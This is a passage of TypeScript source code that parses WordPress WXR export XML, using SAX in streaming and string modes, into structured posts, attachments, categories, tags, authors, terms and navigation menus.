Readable): Promise<WxrData> {\n\treturn new Promise((resolve, reject) => {\n\t\tconst parser = sax.createStream(true, { trim: true });\n\n\t\tconst data: WxrData = {\n\t\t\tsite: {},\n\t\t\tposts: [],\n\t\t\tattachments: [],\n\t\t\tcategories: [],\n\t\t\ttags: [],\n\t\t\tauthors: [],\n\t\t\tterms: [],\n\t\t\tnavMenus: [],\n\t\t};\n\n\t\t// Parser state\n\t\tlet currentPath: string[] = [];\n\t\tlet currentText = \"\";\n\t\tlet currentItem: WxrPost | null = null;\n\t\tlet currentAttachment: WxrAttachment | null = null;\n\t\tlet currentCategory: WxrCategory | null = null;\n\t\tlet currentTag: WxrTag | null = null;\n\t\tlet currentAuthor: WxrAuthor | null = null;\n\t\tlet currentTerm: Partial<WxrTerm> | null = null;\n\t\tlet currentMetaKey = \"\";\n\n\t\t// Track nav_menu_item posts for post-processing\n\t\tconst navMenuItemPosts: WxrPost[] = [];\n\t\t// Track menu term IDs by slug for linking items to menus\n\t\tconst menuTermsBySlug = new Map<string, number>();\n\n\t\tparser.on(\"opentag\", (node) => {\n\t\t\tconst tagName = node.name.toLowerCase();\n\t\t\tcurrentPath.push(tagName);\n\t\t\tcurrentText = \"\";\n\n\t\t\t// Start new item\n\t\t\tif (tagName === \"item\") {\n\t\t\t\tcurrentItem = {\n\t\t\t\t\tcategories: [],\n\t\t\t\t\ttags: [],\n\t\t\t\t\tcustomTaxonomies: new Map(),\n\t\t\t\t\tmeta: new Map(),\n\t\t\t\t};\n\t\t\t} else if (tagName === \"wp:category\") {\n\t\t\t\tcurrentCategory = {};\n\t\t\t} else if (tagName === \"wp:tag\") {\n\t\t\t\tcurrentTag = {};\n\t\t\t} else if (tagName === \"wp:author\") {\n\t\t\t\tcurrentAuthor = {};\n\t\t\t} else if (tagName === \"wp:term\") {\n\t\t\t\tcurrentTerm = {};\n\t\t\t}\n\n\t\t\t// Handle category/tag/custom taxonomy assignment in items\n\t\t\tif (tagName === \"category\" && currentItem && node.attributes) {\n\t\t\t\tconst domain = attrStr(node.attributes.domain);\n\t\t\t\tconst nicename = attrStr(node.attributes.nicename);\n\t\t\t\tif (domain === \"category\" && nicename) {\n\t\t\t\t\tcurrentItem.categories.push(nicename);\n\t\t\t\t} else if (domain === \"post_tag\" && nicename) {\n\t\t\t\t\tcurrentItem.tags.push(nicename);\n\t\t\t\t} else if (domain && nicename && domain !== \"category\" && domain !== \"post_tag\") {\n\t\t\t\t\t// Custom taxonomy (including nav_menu)\n\t\t\t\t\tif (!currentItem.customTaxonomies) {\n\t\t\t\t\t\tcurrentItem.customTaxonomies = new Map();\n\t\t\t\t\t}\n\t\t\t\t\tconst existing = currentItem.customTaxonomies.get(domain) || [];\n\t\t\t\t\texisting.push(nicename);\n\t\t\t\t\tcurrentItem.customTaxonomies.set(domain, existing);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\tparser.on(\"text\", (text) => {\n\t\t\tcurrentText += text;\n\t\t});\n\n\t\tparser.on(\"cdata\", (cdata) => {\n\t\t\tcurrentText += cdata;\n\t\t});\n\n\t\tparser.on(\"closetag\", (tagName) => {\n\t\t\tconst tag = tagName.toLowerCase();\n\t\t\tconst text = currentText.trim();\n\n\t\t\t// Site-level metadata (in channel)\n\t\t\tif (currentPath.includes(\"channel\") && !currentItem) {\n\t\t\t\tswitch (tag) {\n\t\t\t\t\tcase \"title\":\n\t\t\t\t\t\tif (!data.site.title) data.site.title = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"link\":\n\t\t\t\t\t\tif (!data.site.link) data.site.link = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"description\":\n\t\t\t\t\t\tif (!data.site.description) data.site.description = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"language\":\n\t\t\t\t\t\tdata.site.language = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:base_site_url\":\n\t\t\t\t\t\tdata.site.baseSiteUrl = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:base_blog_url\":\n\t\t\t\t\t\tdata.site.baseBlogUrl = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Item (post/page/attachment) parsing\n\t\t\tif (currentItem) {\n\t\t\t\tswitch (tag) {\n\t\t\t\t\tcase \"title\":\n\t\t\t\t\t\tcurrentItem.title = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"link\":\n\t\t\t\t\t\tcurrentItem.link = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"pubdate\":\n\t\t\t\t\t\tcurrentItem.pubDate = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"dc:creator\":\n\t\t\t\t\t\tcurrentItem.creator = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"guid\":\n\t\t\t\t\t\tcurrentItem.guid = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"description\":\n\t\t\t\t\t\tcurrentItem.description = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"content:encoded\":\n\t\t\t\t\t\tcurrentItem.content = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"excerpt:encoded\":\n\t\t\t\t\t\tcurrentItem.excerpt = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_id\":\n\t\t\t\t\t\tcurrentItem.id = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_date\":\n\t\t\t\t\t\tcurrentItem.postDate = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_date_gmt\":\n\t\t\t\t\t\tcurrentItem.postDateGmt = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_modified\":\n\t\t\t\t\t\tcurrentItem.postModified = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_modified_gmt\":\n\t\t\t\t\t\tcurrentItem.postModifiedGmt = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:comment_status\":\n\t\t\t\t\t\tcurrentItem.commentStatus = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:ping_status\":\n\t\t\t\t\t\tcurrentItem.pingStatus = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:status\":\n\t\t\t\t\t\tcurrentItem.status = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_type\":\n\t\t\t\t\t\tcurrentItem.postType = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_name\":\n\t\t\t\t\t\tcurrentItem.postName = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_parent\":\n\t\t\t\t\t\tcurrentItem.postParent = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:menu_order\":\n\t\t\t\t\t\tcurrentItem.menuOrder = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_password\":\n\t\t\t\t\t\tcurrentItem.postPassword = text || undefined;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:is_sticky\":\n\t\t\t\t\t\tcurrentItem.isSticky = text === \"1\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:meta_key\":\n\t\t\t\t\t\tcurrentMetaKey = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:meta_value\":\n\t\t\t\t\t\tif (currentMetaKey) {\n\t\t\t\t\t\t\tcurrentItem.meta.set(currentMetaKey, text);\n\t\t\t\t\t\t\tcurrentMetaKey = \"\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:attachment_url\":\n\t\t\t\t\t\tif (currentItem.postType === \"attachment\") {\n\t\t\t\t\t\t\t// This is actually an attachment\n\t\t\t\t\t\t\tcurrentAttachment = {\n\t\t\t\t\t\t\t\tid: currentItem.id,\n\t\t\t\t\t\t\t\ttitle: currentItem.title,\n\t\t\t\t\t\t\t\turl: text,\n\t\t\t\t\t\t\t\tpostDate: currentItem.postDate,\n\t\t\t\t\t\t\t\tmeta: currentItem.meta,\n\t\t\t\t\t\t\t};\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"item\":\n\t\t\t\t\t\t// End of item - categorize and store\n\t\t\t\t\t\tif (currentAttachment) {\n\t\t\t\t\t\t\tdata.attachments.push(currentAttachment);\n\t\t\t\t\t\t\tcurrentAttachment = null;\n\t\t\t\t\t\t} else if (currentItem.postType === \"nav_menu_item\") {\n\t\t\t\t\t\t\t// Track nav_menu_item posts for post-processing into menus\n\t\t\t\t\t\t\tnavMenuItemPosts.push(currentItem);\n\t\t\t\t\t\t\tdata.posts.push(currentItem);\n\t\t\t\t\t\t} else if (currentItem.postType !== \"attachment\") {\n\t\t\t\t\t\t\t// Store all non-attachment post types (posts, pages, custom post types)\n\t\t\t\t\t\t\tdata.posts.push(currentItem);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcurrentItem = null;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Category parsing\n\t\t\tif (currentCategory) {\n\t\t\t\tswitch (tag) {\n\t\t\t\t\tcase \"wp:term_id\":\n\t\t\t\t\t\tcurrentCategory.id = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:category_nicename\":\n\t\t\t\t\t\tcurrentCategory.nicename = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:cat_name\":\n\t\t\t\t\t\tcurrentCategory.name = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:category_parent\":\n\t\t\t\t\t\tcurrentCategory.parent = text || undefined;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:category_description\":\n\t\t\t\t\t\tcurrentCategory.description = text || undefined;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:category\":\n\t\t\t\t\t\tif (currentCategory.name) {\n\t\t\t\t\t\t\tdata.categories.push(currentCategory);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcurrentCategory = null;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Tag parsing\n\t\t\tif (currentTag) {\n\t\t\t\tswitch (tag) {\n\t\t\t\t\tcase \"wp:term_id\":\n\t\t\t\t\t\tcurrentTag.id = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:tag_slug\":\n\t\t\t\t\t\tcurrentTag.slug = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:tag_name\":\n\t\t\t\t\t\tcurrentTag.name = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:tag_description\":\n\t\t\t\t\t\tcurrentTag.description = text || undefined;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:tag\":\n\t\t\t\t\t\tif (currentTag.name) {\n\t\t\t\t\t\t\tdata.tags.push(currentTag);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcurrentTag = null;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Author parsing\n\t\t\tif (currentAuthor) {\n\t\t\t\tswitch (tag) {\n\t\t\t\t\tcase \"wp:author_id\":\n\t\t\t\t\t\tcurrentAuthor.id = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:author_login\":\n\t\t\t\t\t\tcurrentAuthor.login = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:author_email\":\n\t\t\t\t\t\tcurrentAuthor.email = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:author_display_name\":\n\t\t\t\t\t\tcurrentAuthor.displayName = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:author_first_name\":\n\t\t\t\t\t\tcurrentAuthor.firstName = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:author_last_name\":\n\t\t\t\t\t\tcurrentAuthor.lastName = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:author\":\n\t\t\t\t\t\tif (currentAuthor.login) {\n\t\t\t\t\t\t\tdata.authors.push(currentAuthor);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcurrentAuthor = null;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Generic term parsing (wp:term elements - custom taxonomies, nav_menu, etc.)\n\t\t\tif (currentTerm) {\n\t\t\t\tswitch (tag) {\n\t\t\t\t\tcase \"wp:term_id\":\n\t\t\t\t\t\tcurrentTerm.id = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:term_taxonomy\":\n\t\t\t\t\t\tcurrentTerm.taxonomy = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:term_slug\":\n\t\t\t\t\t\tcurrentTerm.slug = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:term_name\":\n\t\t\t\t\t\tcurrentTerm.name = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:term_parent\":\n\t\t\t\t\t\tcurrentTerm.parent = text || undefined;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:term_description\":\n\t\t\t\t\t\tcurrentTerm.description = text || undefined;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:term\":\n\t\t\t\t\t\tif (isCompleteWxrTerm(currentTerm)) {\n\t\t\t\t\t\t\tdata.terms.push(currentTerm);\n\t\t\t\t\t\t\t// Track nav_menu terms for building menus\n\t\t\t\t\t\t\tif (currentTerm.taxonomy === \"nav_menu\") {\n\t\t\t\t\t\t\t\tmenuTermsBySlug.set(currentTerm.slug, currentTerm.id);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcurrentTerm = null;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcurrentPath.pop();\n\t\t\tcurrentText = \"\";\n\t\t});\n\n\t\tparser.on(\"error\", (err) => {\n\t\t\treject(new Error(`XML parsing error: ${err.message}`));\n\t\t});\n\n\t\tparser.on(\"end\", () => {\n\t\t\t// Post-process nav_menu_item posts into structured menus\n\t\t\tdata.navMenus = buildNavMenus(navMenuItemPosts, menuTermsBySlug);\n\t\t\tresolve(data);\n\t\t});\n\n\t\t// Pipe the stream through the parser\n\t\tstream.pipe(parser);\n\t});\n}\n\n/**\n * Parse a WordPress WXR export from a string\n *\n * Uses the non-streaming SAX parser API for compatibility with\n * environments that don't have Node.js streams (e.g., Cloudflare Workers).\n */\nexport function parseWxrString(xml: string): Promise<WxrData> {\n\treturn new Promise((resolve, reject) => {\n\t\tconst parser = sax.parser(true, { trim: false, normalize: false });\n\n\t\tconst data: WxrData = {\n\t\t\tsite: {},\n\t\t\tposts: [],\n\t\t\tattachments: [],\n\t\t\tcategories: [],\n\t\t\ttags: [],\n\t\t\tauthors: [],\n\t\t\tterms: [],\n\t\t\tnavMenus: [],\n\t\t};\n\n\t\tlet currentPath: string[] = [];\n\t\tlet currentText = \"\";\n\t\tlet currentItem: WxrPost | null = null;\n\t\tlet currentAttachment: WxrAttachment | null = null;\n\t\tlet currentCategory: WxrCategory | null = null;\n\t\tlet currentTag: WxrTag | null = null;\n\t\tlet currentAuthor: WxrAuthor | null = null;\n\t\tlet currentTerm: Partial<WxrTerm> | null = null;\n\t\tlet currentMetaKey = \"\";\n\n\t\t// Track nav_menu_item posts for post-processing\n\t\tconst navMenuItemPosts: WxrPost[] = [];\n\t\t// Track menu term IDs by slug for linking items to menus\n\t\tconst menuTermsBySlug = new Map<string, number>();\n\n\t\tparser.onopentag = (node) => {\n\t\t\tconst tag = node.name.toLowerCase();\n\t\t\tcurrentPath.push(tag);\n\t\t\tcurrentText = \"\";\n\n\t\t\t// Start new elements\n\t\t\tif (tag === \"item\") {\n\t\t\t\tcurrentItem = {\n\t\t\t\t\tcategories: [],\n\t\t\t\t\ttags: [],\n\t\t\t\t\tcustomTaxonomies: new Map(),\n\t\t\t\t\tmeta: new Map(),\n\t\t\t\t};\n\t\t\t} else if (tag === \"wp:category\") {\n\t\t\t\tcurrentCategory = {};\n\t\t\t} else if (tag === \"wp:tag\") {\n\t\t\t\tcurrentTag = {};\n\t\t\t} else if (tag === \"wp:author\") {\n\t\t\t\tcurrentAuthor = {};\n\t\t\t} else if (tag === \"wp:term\") {\n\t\t\t\tcurrentTerm = {};\n\t\t\t}\n\n\t\t\t// Handle category/tag/custom taxonomy assignment in items\n\t\t\tif (tag === \"category\" && currentItem && node.attributes) {\n\t\t\t\tconst domain = attrStr(node.attributes.domain);\n\t\t\t\tconst nicename = attrStr(node.attributes.nicename);\n\t\t\t\tif (domain === \"category\" && nicename) {\n\t\t\t\t\tcurrentItem.categories.push(nicename);\n\t\t\t\t} else if (domain === \"post_tag\" && nicename) {\n\t\t\t\t\tcurrentItem.tags.push(nicename);\n\t\t\t\t} else if (domain && nicename && domain !== \"category\" && domain !== \"post_tag\") {\n\t\t\t\t\t// Custom taxonomy (including nav_menu)\n\t\t\t\t\tif (!currentItem.customTaxonomies) {\n\t\t\t\t\t\tcurrentItem.customTaxonomies = new Map();\n\t\t\t\t\t}\n\t\t\t\t\tconst existing = currentItem.customTaxonomies.get(domain) || [];\n\t\t\t\t\texisting.push(nicename);\n\t\t\t\t\tcurrentItem.customTaxonomies.set(domain, existing);\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\t\tparser.ontext = (text) => {\n\t\t\tcurrentText += text;\n\t\t};\n\n\t\tparser.oncdata = (cdata) => {\n\t\t\tcurrentText += cdata;\n\t\t};\n\n\t\tparser.onclosetag = (tagName) => {\n\t\t\tconst tag = tagName.toLowerCase();\n\t\t\tconst text = currentText.trim();\n\n\t\t\t// Site metadata\n\t\t\tif (currentPath.length === 2 && currentPath[0] === \"rss\") {\n\t\t\t\tswitch (tag) {\n\t\t\t\t\tcase \"title\":\n\t\t\t\t\t\tdata.site.title = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"link\":\n\t\t\t\t\t\tdata.site.link = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"description\":\n\t\t\t\t\t\tdata.site.description = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"language\":\n\t\t\t\t\t\tdata.site.language = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:base_site_url\":\n\t\t\t\t\t\tdata.site.baseSiteUrl = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:base_blog_url\":\n\t\t\t\t\t\tdata.site.baseBlogUrl = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Item (post/page/attachment) parsing\n\t\t\tif (currentItem) {\n\t\t\t\tswitch (tag) {\n\t\t\t\t\tcase \"title\":\n\t\t\t\t\t\tcurrentItem.title = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"link\":\n\t\t\t\t\t\tcurrentItem.link = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"pubdate\":\n\t\t\t\t\t\tcurrentItem.pubDate = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"dc:creator\":\n\t\t\t\t\t\tcurrentItem.creator = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"guid\":\n\t\t\t\t\t\tcurrentItem.guid = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"description\":\n\t\t\t\t\t\tcurrentItem.description = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"content:encoded\":\n\t\t\t\t\t\tcurrentItem.content = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"excerpt:encoded\":\n\t\t\t\t\t\tcurrentItem.excerpt = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_id\":\n\t\t\t\t\t\tcurrentItem.id = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_date\":\n\t\t\t\t\t\tcurrentItem.postDate = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_date_gmt\":\n\t\t\t\t\t\tcurrentItem.postDateGmt = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_modified\":\n\t\t\t\t\t\tcurrentItem.postModified = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_modified_gmt\":\n\t\t\t\t\t\tcurrentItem.postModifiedGmt = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:comment_status\":\n\t\t\t\t\t\tcurrentItem.commentStatus = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:ping_status\":\n\t\t\t\t\t\tcurrentItem.pingStatus = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_name\":\n\t\t\t\t\t\tcurrentItem.postName = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:status\":\n\t\t\t\t\t\tcurrentItem.status = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_parent\":\n\t\t\t\t\t\tcurrentItem.postParent = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:menu_order\":\n\t\t\t\t\t\tcurrentItem.menuOrder = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_type\":\n\t\t\t\t\t\tcurrentItem.postType = text;\n\t\t\t\t\t\t// If it's an attachment, convert to attachment type\n\t\t\t\t\t\tif (text === \"attachment\") {\n\t\t\t\t\t\t\tcurrentAttachment = {\n\t\t\t\t\t\t\t\tid: currentItem.id,\n\t\t\t\t\t\t\t\ttitle: currentItem.title,\n\t\t\t\t\t\t\t\turl: currentItem.link,\n\t\t\t\t\t\t\t\tpostDate: currentItem.postDate,\n\t\t\t\t\t\t\t\tmeta: new Map(),\n\t\t\t\t\t\t\t};\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:post_password\":\n\t\t\t\t\t\tcurrentItem.postPassword = text || undefined;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:is_sticky\":\n\t\t\t\t\t\tcurrentItem.isSticky = text === \"1\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:attachment_url\":\n\t\t\t\t\t\tif (currentAttachment) {\n\t\t\t\t\t\t\tcurrentAttachment.url = text;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:meta_key\":\n\t\t\t\t\t\tcurrentMetaKey = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:meta_value\":\n\t\t\t\t\t\tif (currentMetaKey && currentItem.meta) {\n\t\t\t\t\t\t\tcurrentItem.meta.set(currentMetaKey, text);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"item\":\n\t\t\t\t\t\t// End of item - categorize and store\n\t\t\t\t\t\tif (currentAttachment) {\n\t\t\t\t\t\t\tdata.attachments.push(currentAttachment);\n\t\t\t\t\t\t\tcurrentAttachment = null;\n\t\t\t\t\t\t} else if (currentItem.postType === \"nav_menu_item\") {\n\t\t\t\t\t\t\t// Track nav_menu_item posts for post-processing into menus\n\t\t\t\t\t\t\tnavMenuItemPosts.push(currentItem);\n\t\t\t\t\t\t\tdata.posts.push(currentItem);\n\t\t\t\t\t\t} else if (currentItem.postType !== \"attachment\") {\n\t\t\t\t\t\t\tdata.posts.push(currentItem);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcurrentItem = null;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Category parsing\n\t\t\tif (currentCategory) {\n\t\t\t\tswitch (tag) {\n\t\t\t\t\tcase \"wp:term_id\":\n\t\t\t\t\t\tcurrentCategory.id = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:category_nicename\":\n\t\t\t\t\t\tcurrentCategory.nicename = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:cat_name\":\n\t\t\t\t\t\tcurrentCategory.name = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:category_parent\":\n\t\t\t\t\t\tcurrentCategory.parent = text || undefined;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:category_description\":\n\t\t\t\t\t\tcurrentCategory.description = text || undefined;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:category\":\n\t\t\t\t\t\tif (currentCategory.name) {\n\t\t\t\t\t\t\tdata.categories.push(currentCategory);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcurrentCategory = null;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Tag parsing\n\t\t\tif (currentTag) {\n\t\t\t\tswitch (tag) {\n\t\t\t\t\tcase \"wp:term_id\":\n\t\t\t\t\t\tcurrentTag.id = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:tag_slug\":\n\t\t\t\t\t\tcurrentTag.slug = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:tag_name\":\n\t\t\t\t\t\tcurrentTag.name = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:tag_description\":\n\t\t\t\t\t\tcurrentTag.description = text || undefined;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:tag\":\n\t\t\t\t\t\tif (currentTag.name) {\n\t\t\t\t\t\t\tdata.tags.push(currentTag);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcurrentTag = null;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Author parsing\n\t\t\tif (currentAuthor) {\n\t\t\t\tswitch (tag) {\n\t\t\t\t\tcase \"wp:author_id\":\n\t\t\t\t\t\tcurrentAuthor.id = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:author_login\":\n\t\t\t\t\t\tcurrentAuthor.login = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:author_email\":\n\t\t\t\t\t\tcurrentAuthor.email = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:author_display_name\":\n\t\t\t\t\t\tcurrentAuthor.displayName = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:author_first_name\":\n\t\t\t\t\t\tcurrentAuthor.firstName = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:author_last_name\":\n\t\t\t\t\t\tcurrentAuthor.lastName = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:author\":\n\t\t\t\t\t\tif (currentAuthor.login) {\n\t\t\t\t\t\t\tdata.authors.push(currentAuthor);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcurrentAuthor = null;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Generic term parsing (wp:term elements - custom taxonomies, nav_menu, etc.)\n\t\t\tif (currentTerm) {\n\t\t\t\tswitch (tag) {\n\t\t\t\t\tcase \"wp:term_id\":\n\t\t\t\t\t\tcurrentTerm.id = parseInt(text, 10);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:term_taxonomy\":\n\t\t\t\t\t\tcurrentTerm.taxonomy = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:term_slug\":\n\t\t\t\t\t\tcurrentTerm.slug = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:term_name\":\n\t\t\t\t\t\tcurrentTerm.name = text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:term_parent\":\n\t\t\t\t\t\tcurrentTerm.parent = text || undefined;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:term_description\":\n\t\t\t\t\t\tcurrentTerm.description = text || undefined;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"wp:term\":\n\t\t\t\t\t\tif (isCompleteWxrTerm(currentTerm)) {\n\t\t\t\t\t\t\tdata.terms.push(currentTerm);\n\t\t\t\t\t\t\t// Track nav_menu terms for building menus\n\t\t\t\t\t\t\tif (currentTerm.taxonomy === \"nav_menu\") {\n\t\t\t\t\t\t\t\tmenuTermsBySlug.set(currentTerm.slug, currentTerm.id);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcurrentTerm = null;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcurrentPath.pop();\n\t\t\tcurrentText = \"\";\n\t\t};\n\n\t\tparser.onerror = (err) => {\n\t\t\treject(new Error(`XML parsing error: ${err.message}`));\n\t\t};\n\n\t\tparser.onend = () => {\n\t\t\t// Post-process nav_menu_item posts into structured menus\n\t\t\tdata.navMenus = buildNavMenus(navMenuItemPosts, menuTermsBySlug);\n\t\t\tresolve(data);\n\t\t};\n\n\t\t// Parse the string (non-streaming)\n\t\tparser.write(xml).close();\n\t});\n}\n\n/**\n * Build structured 